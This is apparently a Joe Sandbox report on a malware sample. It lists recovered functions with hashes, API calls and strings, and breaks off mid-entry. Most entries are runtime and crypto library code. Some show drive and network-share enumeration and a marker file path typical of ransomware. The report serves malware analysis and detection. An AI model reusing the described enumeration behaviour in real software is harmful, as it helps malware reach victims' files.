Opcode ID: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction ID: 52db3c5ac710bcba984e77d884e21c03200a6a5045cf61879664ec27deebefdc
Opcode Fuzzy Hash: 589e2253d7d99ae0dcbf429e34422fb1402ab038db5a2f2b80cba858938edee3
Instruction Fuzzy Hash: 27718471F092399BDF30DA58EC98BAAB7B5EF54314F5440DAD908A6241D7389EC0CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

0123456789abcdef, xrefs: 004574C4
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789ABCDEF, xrefs: 004574D6
+, xrefs: 00457475
, xrefs: 00457482

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004273EA Relevance: 10.6, APIs: 7, Instructions: 129COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction ID: 6e53a8d943180cd312645f9ab6be848b87d00e26e6c43e5a6b33f09903c19296
Opcode Fuzzy Hash: 24375c1184f10fff9f69e53d20d398cf7003ebcd556f5164746207377439a35e
Instruction Fuzzy Hash: AA515771F09139AFDF309A54DC99BAAB7B5EF04304F4400DAD908A6251D7799F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004273FA Relevance: 10.6, APIs: 7, Instructions: 127COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMT ref: 00427477
_write_string.LIBCMT ref: 004274A0
_write_multi_char.LIBCMT ref: 004274C2
__cftof.LIBCMT ref: 00427500
_write_string.LIBCMT ref: 00427531
_write_multi_char.LIBCMT ref: 00427592
_free.LIBCMT ref: 004275AB

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _write_multi_char$_write_string$__cftof_free
String ID:
API String ID: 2964551433-0
Opcode ID: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction ID: 8198ec34aa8999dc590647716f2dc488f85491d7af5cc04cf74bf98b0f8c793f
Opcode Fuzzy Hash: 9184f045ad01bb42410d4e7ab6faa150617f92114e0b0a62860346184688369c
Instruction Fuzzy Hash: F2514471F05139AEDF309A68DC99BAAB7B5EF04304F4400DAE908A6251E7399F80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
reason(%lu), xrefs: 00450758
lib(%lu), xrefs: 0045071C

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
API String ID: 601868998-2416195885
Opcode ID: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction ID: 4fd155d7ac4cfc4ad9107eba643b63d3b81161049ee91e28a54c83c9030a6459
Opcode Fuzzy Hash: 46bb62eb4ffcb3ef403e86853a7eb45dbe6c4dfbd3a8551aa62d907c1259c874
Instruction Fuzzy Hash: F64109756043055BDB20EE25CC45BAFB7D8EF85309F40082FF98593242E679E90C8B96

Uniqueness

Uniqueness Score: -1.00%

Function 0045AE30 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0045AE4B
_memset.LIBCMT ref: 0045AE6C

Strings

.\crypto\buffer\buffer.c, xrefs: 0045AE88, 0045AEBE, 0045AED3, 0045AEF0
g9F, xrefs: 0045AE31, 0045AE36, 0045AE63, 0045AF14, 0045AF1D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\buffer\buffer.c$g9F
API String ID: 2102423945-3653307630
Opcode ID: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction ID: 958ac6a2dbe7618ecd56aaf11cdfe4c63fb5daf7b6a990d4d23814bb8d8bf6ac
Opcode Fuzzy Hash: 41b8760603798dafaf4d4572c250bcd82449d7f0d7c455ebd7b4e1b6c976a6df
Instruction Fuzzy Hash: 27212BB6B403213FE210665DFC43B66B399EB84B15F10413BF618D73C2D6A8A865C3D9

Uniqueness

Uniqueness Score: -1.00%

Function 004C5D39 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 004C5D3D

Part of subcall function 0042501F: GetLastError.KERNEL32(?,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425021
Part of subcall function 0042501F: __calloc_crt.LIBCMT ref: 00425042
Part of subcall function 0042501F: __initptd.LIBCMT ref: 00425064
Part of subcall function 0042501F: GetCurrentThreadId.KERNEL32 ref: 0042506B
Part of subcall function 0042501F: SetLastError.KERNEL32(00000000,i;B,0042520D,00420CE9,?,?,00423B69,?), ref: 00425083

__calloc_crt.LIBCMT ref: 004C5D60
__get_sys_err_msg.LIBCMT ref: 004C5D7E
__get_sys_err_msg.LIBCMT ref: 004C5DCD

Strings

Visual C++ CRT: Not enough memory to complete call to strerror., xrefs: 004C5D48, 004C5D6E

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorLast__calloc_crt__get_sys_err_msg$CurrentThread__getptd_noexit__initptd
String ID: Visual C++ CRT: Not enough memory to complete call to strerror.
API String ID: 3123740607-798102604
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: efefb7cdb09aa89a66c944e42d5018451410fe076c3b278b171ca9447b521f4c
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 8E11E935601F2567D7613A66AC05FBF738CDF007A4F50806FFE0696241E629AC8042AD

Uniqueness

Uniqueness Score: -1.00%

Function 00462FF0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

_fprintf.LIBCMT ref: 0046307E
_memset.LIBCMT ref: 004630AB

Strings

Enter PEM pass phrase:, xrefs: 00463036, 00463043, 00463084
.\crypto\pem\pem_lib.c, xrefs: 00463097
phrase is too short, needs to be at least %d chars, xrefs: 00463070

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: _fprintf_memset
String ID: .\crypto\pem\pem_lib.c$Enter PEM pass phrase:$phrase is too short, needs to be at least %d chars
API String ID: 3021507156-3399676524
Opcode ID: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction ID: 90c6fe5d672865ace0ee8fbe81ed9b43ee89a432c17a94ace257beddb0b51c59
Opcode Fuzzy Hash: ecf0358a9dba2a972d623e611d8bee7a2e74e734002f68b3a08fbe7946495174
Instruction Fuzzy Hash: 0E218B72B043513BE720AD22AC01FBB7799CFC179DF04441AFA54672C6E639ED0942AA

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: ba6770418a514e061c64693ffdbf2edbdfd545916963a0667ce2a0b7d493bc5b
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,?,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000,?,?), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: c593f9ddfc12760f3eff0e8065bbbd6a980f194dc76d13cdd9d46ce453e91173
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004416EB Relevance: 7.6, APIs: 5, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 00441726
_strlen.LIBCMT ref: 00441734

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

_strnlen.LIBCMT ref: 004417BF
__lock.LIBCMT ref: 004417D0
__getenv_helper_nolock.LIBCMT ref: 004417DB

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__lock_strlen_strnlen
String ID:
API String ID: 2168648987-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 706a9fbf285425ec29b4e33d2635255339e15eb248031f995e6227ac9da9c0f4
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: A131FC31741235ABEB216BA6EC02B9F76949F44B64F54015BF814DB391DF7CC88046AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 6431ecd4352623c8ea5b40f1f1ea1a8b08bc26eb066019d8721179985482c109
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0043B6FF Relevance: 7.6, APIs: 5, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0043B70B

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(007D0000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_free.LIBCMT ref: 0043B71E

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction ID: cebe638eb0ed40525ab660a1b273922ca7a171140340163af9fc546bca46de76
Opcode Fuzzy Hash: ac30be484878ed1c1fbcd2781803b0d6d497061a6a5de6108b0294a208768cdb
Instruction Fuzzy Hash: F411EB31504725EBCB202B76BC85B6A3784DF58364F50512BFA589A291DB3C88408ADC

Uniqueness

Uniqueness Score: -1.00%

Function 0041F070 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041F085
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0AC
DispatchMessageW.USER32(?), ref: 0041F0B6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041F0C4
WaitForSingleObject.KERNEL32(0000000A), ref: 0041F0D2

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction ID: 8330a25206e7a7c758b309db49295e470543d34b7ed76d4368c5dbe794fa98e6
Opcode Fuzzy Hash: 6d24f8cffcb6546f687f670e27dc83223b8af0f876a489368cdeea614c080f41
Instruction Fuzzy Hash: 5C01DB35A4030876EB30AB55EC86FD63B6DE744B00F148022FE04AB1E1D7B9A54ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041E500 Relevance: 7.5, APIs: 5, Instructions: 49windowsynchronizationthreadCOMMON

Download Yara Rule

APIs

PostThreadMessageW.USER32(00000012,00000000,00000000), ref: 0041E515
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E53C
DispatchMessageW.USER32(?), ref: 0041E546
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 0041E554
WaitForSingleObject.KERNEL32(0000000A), ref: 0041E562

Memory Dump Source

Source File: 00000001.00000002.1661035720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1661035720.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1661035720.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_lzShU2RYJa.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchObjectPostSingleThreadWait
String ID:
API String ID: 1380987712-0
Opcode ID: fff4340a71da7ea92c1385820b9327139908f6a11ddf48d1b12da68ebdd54261
Instruction ID: 59d9cfd0379212e31388a7928d285390ad7449125cd170d7d310b1f6820545b5
